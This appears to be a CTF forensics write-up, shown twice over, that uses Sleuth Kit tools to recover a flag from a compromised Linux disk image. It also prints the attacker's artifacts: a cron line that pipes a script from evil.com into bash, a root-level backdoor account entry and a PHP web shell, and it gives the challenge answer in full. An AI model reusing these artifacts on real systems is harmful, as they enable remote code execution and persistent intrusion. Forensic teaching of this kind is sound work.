CTF Write-up: Hacked Disk

Alright! We've got an ext4 filesystem on our hands. Time to fire up some forensic tools!

Updated February 7, 20263 min readSource on GitHub (opens in a new tab)

bash

anas@Anas:~/hacked_challenge$ ls

🔍 CTF Write-up: Hacked Server Forensics Challenge#

Author: Anas Education
LinkedIn: Anas Magane (opens in a new tab)
YouTube: Anas Education (opens in a new tab) (55K+ subscribers)

📋 Challenge Overview#

File: hacked.dd
Category: Forensics
Difficulty: easy
Points: 500

Challenge Description#

Our server was compromised! The attacker left multiple backdoors and hid their tracks in this disk image. Find the hidden flag that the security team left for forensic analysis.

Download: hacked.dd (50MB)

🚀 The Investigation Journey#

Step 1: What Are We Dealing With?#

First things first, let's see what kind of file we're working with:

bash

file hacked.dd

Output:

text

hacked.dd: Linux rev 1.0 ext4 filesystem data, UUID=2dba8461-2839-44a0-adbe-64987ce26fd9 (extents) (large files) (huge files)

Alright! We've got an ext4 filesystem on our hands. Time to fire up some forensic tools!

Step 2: Exploring the Filesystem Structure#

Using The Sleuth Kit's fls command to peek inside:

bash

fls hacked.dd

Output:

text

d/d 1835:       home
d/d 11:         lost+found
d/d 13:         boot
d/d 1833:       dev
d/d 1834:       etc
d/d 3665:       media
d/d 3666:       mnt
d/d 3667:       opt
d/d 5497:       proc
d/d 5498:       root
d/d 5499:       srv
d/d 7329:       sys
d/d 7330:       tmp
d/d 1836:       usr
d/d 1837:       var
V/V 12825:      $OrphanFiles

Pretty standard Linux directory structure. Nothing too crazy yet... but where do attackers usually hide stuff? Let's check /var/log 👀

Step 3: Digging Into the Logs#

Time to go deeper into /var/log:

bash

fls hacked.dd -r -p | grep -A5 -B5 "var/log"

And here's where things get interesting:

text

d/d 80:         var/log
r/r 81:         var/log/syslog.1
r/r 82:         var/log/kern.log.1
...
d/d 121:        var/log/.hidden_backup
r/r 122:        var/log/.hidden_backup/flag.gz
l/l 129:        var/log/.creds_link

🚨 WAIT A MINUTE! A .hidden_backup directory? With a flag.gz file inside?

Who in their right mind hides backups in a hidden directory inside the logs folder? This is definitely worth investigating!

Step 4: Extracting the Treasure#

The file we want is at inode 122. Let's pull it out using icat:

bash

icat hacked.dd 122 > extracted_flag.gz

Now let's verify what we extracted:

bash

file extracted_flag.gz

Output:

text

extracted_flag.gz: gzip compressed data, max compression, from Unix, original size modulo 2^32 316

Perfect! It's a gzip archive. Let's decompress it:

bash

gunzip -c extracted_flag.gz

Or we can do it in one go:

bash

icat hacked.dd 122 | gunzip -c

Step 5: 🎉 The Flag Revealed!#

Output:

text

Security Audit Report - REDACTED
Incident Date: 2024-03-15
Compromised: SSH, Web Server, Database
Attacker IP: 192.168.1.666
Recovery Status: IN PROGRESS
 
FLAG: flag{F0r2nsic5_N000000T_D1m4_e45y}
DO NOT DELETE - FOR INTERNAL USE ONLY

BOOM! 💥 We found the flag!

🕵️ Bonus Findings: What Else Did the Attacker Leave Behind?#

Since we're already deep in this investigation, let's see what other malicious artifacts we can find...

1️⃣ Malicious Cron Job#

bash

icat hacked.dd 131

Output:

text

*/5 * * * * curl http://evil.com/malware.sh | bash

The attacker set up a cron job that downloads and executes malware every 5 minutes! That's persistent.

2️⃣ Backdoor Accounts#

bash

icat hacked.dd 14 | grep -E "backdoor|hacker"

Output:

text

hacker:x:1000:1000:Hacker User:/home/hacker:/bin/bash
backdoor:x:0:0:Backdoor Account:/root:/bin/bash

Two suspicious accounts discovered:

hacker: Regular user account
backdoor: UID 0 (root privileges) · extremely dangerous!

3️⃣ PHP Web Shell#

bash

icat hacked.dd 125

Output:

php

<?php
// Web shell
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Classic PHP web shell located at /var/www/html/shell.php. Simple but effective for remote command execution.

4️⃣ Suspicious Windows Binary#

bash

icat hacked.dd 16 | file -

Output:

text

/dev/stdin: MS-DOS executable, MZ for MS-DOS

A Windows executable on a Linux server? That's odd. Possibly used for lateral movement to Windows machines on the network.

🧩 Reconstructing the Attack Chain#

Based on our forensic analysis, here's the likely attack timeline:

Initial Access → SSH compromise (probably weak credentials)
Privilege Escalation → Created a backdoor account with root privileges
Persistence Mechanisms:
- Malicious cron job for continuous malware download
- PHP web shell for remote access
- Windows malware planted (lateral movement preparation)
Covering Tracks → Hid the security audit report in a compressed file within a hidden directory
Command & Control → Cron job phones home to evil.com every 5 minutes

🏆 Final Solution#

Flag: flag{F0r2nsic5_N000000T_D1m4_e45y}

🛠️ Tools Used#

The Sleuth Kit (fls, icat) - Filesystem analysis
file - File type identification
gzip - Decompression
grep - Pattern searching

💡 Key Takeaways#

Always check hidden directories (especially in /var/log)
Compressed files can hide important artifacts
Attackers often establish multiple persistence mechanisms
Forensic analysis requires patience and systematic exploration

Happy Hacking! 🚀

If you found this writeup helpful, don't forget to subscribe to Anas Education on YouTube (opens in a new tab)!

CTF Write-up: Hacked Disk

Alright! We've got an ext4 filesystem on our hands. Time to fire up some forensic tools!

Updated February 7, 20263 min readSource on GitHub (opens in a new tab)

bash

anas@Anas:~/hacked_challenge$ ls

🔍 CTF Write-up: Hacked Server Forensics Challenge#

Author: Anas Education
LinkedIn: Anas Magane (opens in a new tab)
YouTube: Anas Education (opens in a new tab) (55K+ subscribers)

📋 Challenge Overview#

File: hacked.dd
Category: Forensics
Difficulty: easy
Points: 500

Challenge Description#

Our server was compromised! The attacker left multiple backdoors and hid their tracks in this disk image. Find the hidden flag that the security team left for forensic analysis.

Download: hacked.dd (50MB)

🚀 The Investigation Journey#

Step 1: What Are We Dealing With?#

First things first, let's see what kind of file we're working with:

bash

file hacked.dd

Output:

text

hacked.dd: Linux rev 1.0 ext4 filesystem data, UUID=2dba8461-2839-44a0-adbe-64987ce26fd9 (extents) (large files) (huge files)

Alright! We've got an ext4 filesystem on our hands. Time to fire up some forensic tools!

Step 2: Exploring the Filesystem Structure#

Using The Sleuth Kit's fls command to peek inside:

bash

fls hacked.dd

Output:

text

d/d 1835:       home
d/d 11:         lost+found
d/d 13:         boot
d/d 1833:       dev
d/d 1834:       etc
d/d 3665:       media
d/d 3666:       mnt
d/d 3667:       opt
d/d 5497:       proc
d/d 5498:       root
d/d 5499:       srv
d/d 7329:       sys
d/d 7330:       tmp
d/d 1836:       usr
d/d 1837:       var
V/V 12825:      $OrphanFiles

Pretty standard Linux directory structure. Nothing too crazy yet... but where do attackers usually hide stuff? Let's check /var/log 👀

Step 3: Digging Into the Logs#

Time to go deeper into /var/log:

bash

fls hacked.dd -r -p | grep -A5 -B5 "var/log"

And here's where things get interesting:

text

d/d 80:         var/log
r/r 81:         var/log/syslog.1
r/r 82:         var/log/kern.log.1
...
d/d 121:        var/log/.hidden_backup
r/r 122:        var/log/.hidden_backup/flag.gz
l/l 129:        var/log/.creds_link

🚨 WAIT A MINUTE! A .hidden_backup directory? With a flag.gz file inside?

Who in their right mind hides backups in a hidden directory inside the logs folder? This is definitely worth investigating!

Step 4: Extracting the Treasure#

The file we want is at inode 122. Let's pull it out using icat:

bash

icat hacked.dd 122 > extracted_flag.gz

Now let's verify what we extracted:

bash

file extracted_flag.gz

Output:

text

extracted_flag.gz: gzip compressed data, max compression, from Unix, original size modulo 2^32 316

Perfect! It's a gzip archive. Let's decompress it:

bash

gunzip -c extracted_flag.gz

Or we can do it in one go:

bash

icat hacked.dd 122 | gunzip -c

Step 5: 🎉 The Flag Revealed!#

Output:

text

Security Audit Report - REDACTED
Incident Date: 2024-03-15
Compromised: SSH, Web Server, Database
Attacker IP: 192.168.1.666
Recovery Status: IN PROGRESS
 
FLAG: flag{F0r2nsic5_N000000T_D1m4_e45y}
DO NOT DELETE - FOR INTERNAL USE ONLY

BOOM! 💥 We found the flag!

🕵️ Bonus Findings: What Else Did the Attacker Leave Behind?#

Since we're already deep in this investigation, let's see what other malicious artifacts we can find...

1️⃣ Malicious Cron Job#

bash

icat hacked.dd 131

Output:

text

*/5 * * * * curl http://evil.com/malware.sh | bash

The attacker set up a cron job that downloads and executes malware every 5 minutes! That's persistent.

2️⃣ Backdoor Accounts#

bash

icat hacked.dd 14 | grep -E "backdoor|hacker"

Output:

text

hacker:x:1000:1000:Hacker User:/home/hacker:/bin/bash
backdoor:x:0:0:Backdoor Account:/root:/bin/bash

Two suspicious accounts discovered:

hacker: Regular user account
backdoor: UID 0 (root privileges) · extremely dangerous!

3️⃣ PHP Web Shell#

bash

icat hacked.dd 125

Output:

php

<?php
// Web shell
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Classic PHP web shell located at /var/www/html/shell.php. Simple but effective for remote command execution.

4️⃣ Suspicious Windows Binary#

bash

icat hacked.dd 16 | file -

Output:

text

/dev/stdin: MS-DOS executable, MZ for MS-DOS

A Windows executable on a Linux server? That's odd. Possibly used for lateral movement to Windows machines on the network.

🧩 Reconstructing the Attack Chain#

Based on our forensic analysis, here's the likely attack timeline:

Initial Access → SSH compromise (probably weak credentials)
Privilege Escalation → Created a backdoor account with root privileges
Persistence Mechanisms:
- Malicious cron job for continuous malware download
- PHP web shell for remote access
- Windows malware planted (lateral movement preparation)
Covering Tracks → Hid the security audit report in a compressed file within a hidden directory
Command & Control → Cron job phones home to evil.com every 5 minutes

🏆 Final Solution#

Flag: flag{F0r2nsic5_N000000T_D1m4_e45y}

🛠️ Tools Used#

The Sleuth Kit (fls, icat) - Filesystem analysis
file - File type identification
gzip - Decompression
grep - Pattern searching

💡 Key Takeaways#

Always check hidden directories (especially in /var/log)
Compressed files can hide important artifacts
Attackers often establish multiple persistence mechanisms
Forensic analysis requires patience and systematic exploration

Happy Hacking! 🚀

If you found this writeup helpful, don't forget to subscribe to Anas Education on YouTube (opens in a new tab)!

🔍 CTF Write-up: Hacked Server Forensics Challenge#

📋 Challenge Overview#

Challenge Description#

🚀 The Investigation Journey#

Step 1: What Are We Dealing With?#

Step 2: Exploring the Filesystem Structure#

Step 3: Digging Into the Logs#

Step 4: Extracting the Treasure#

Step 5: 🎉 The Flag Revealed!#

🕵️ Bonus Findings: What Else Did the Attacker Leave Behind?#

1️⃣ Malicious Cron Job#

2️⃣ Backdoor Accounts#

3️⃣ PHP Web Shell#

4️⃣ Suspicious Windows Binary#

🧩 Reconstructing the Attack Chain#

🏆 Final Solution#

🛠️ Tools Used#

💡 Key Takeaways#

Related notes

🔍 CTF Write-up: Hacked Server Forensics Challenge#

📋 Challenge Overview#

Challenge Description#

🚀 The Investigation Journey#

Step 1: What Are We Dealing With?#

Step 2: Exploring the Filesystem Structure#

Step 3: Digging Into the Logs#

Step 4: Extracting the Treasure#

Step 5: 🎉 The Flag Revealed!#

🕵️ Bonus Findings: What Else Did the Attacker Leave Behind?#

1️⃣ Malicious Cron Job#

2️⃣ Backdoor Accounts#

3️⃣ PHP Web Shell#

4️⃣ Suspicious Windows Binary#

🧩 Reconstructing the Attack Chain#

🏆 Final Solution#

🛠️ Tools Used#

💡 Key Takeaways#

Related notes